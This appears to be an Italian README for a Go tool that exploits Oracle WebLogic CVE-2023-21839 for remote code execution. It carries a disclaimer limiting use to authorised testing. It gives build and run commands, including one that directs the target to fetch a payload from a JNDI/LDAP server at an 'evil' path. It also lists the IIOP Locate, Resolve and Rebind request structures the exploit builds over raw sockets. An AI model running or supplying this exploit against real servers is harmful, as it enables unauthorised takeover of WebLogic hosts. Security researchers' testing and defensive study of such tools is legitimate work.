
Weblogic CVE-2023-21839 RCE (nessuna dipendenza Java, RCE con un clic)
Utilizzare questo progetto per attaccare o testare bersagli senza autorizzazione è illegale. Questo programma dovrebbe essere utilizzato solo per scopi di test di sicurezza e ricerca autorizzati.
Weblogic CVE-2023-21839 RCE
(1) Nessuna dipendenza Java richiesta, costruisce il protocollo via socket per RCE diretta
(2) Risolve il problema di rete NAT di IIOP (può testare Docker e target pubblici)
(3) Testato su Windows/Mac OS/Linux e Weblogic 12/14
(4) Utilizzare JDK 8u191 o inferiore per avviare Weblogic e configurare un proprio server JNDI
cd cmd
go build -o CVE-2023-21839
./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil

Richiesta di Locate
type LocateRequest struct {
Header *Header
RequestId []byte // 4
TargetAddress []byte // 2
_reserved []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
}
Richiesta di Resolve
type ResolveRequest struct {
Header *Header
RequestId []byte // 4
ResponseFlags []byte // 1
_reserved1 []byte // 3
TargetAddress []byte // 2
_reserved2 []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
_operationLength []byte // 4
RequestOperation []byte // _operationLength
_reserved3 []byte // 1
ServiceContextList *ServiceContextList
CosNamingDissector []byte // no limit
}
Richiesta di Rebind
type RebindRequest struct {
Header *Header
RequestId []byte // 4
ResponseFlags []byte // 1
_reserved1 []byte // 3
TargetAddress []byte // 2
_reserved2 []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
_operationLength []byte // 4
RequestOperation []byte // _operationLength
_reserved3 []byte // 2
ServiceContextList *ServiceContextList
StubData []byte // no limit
}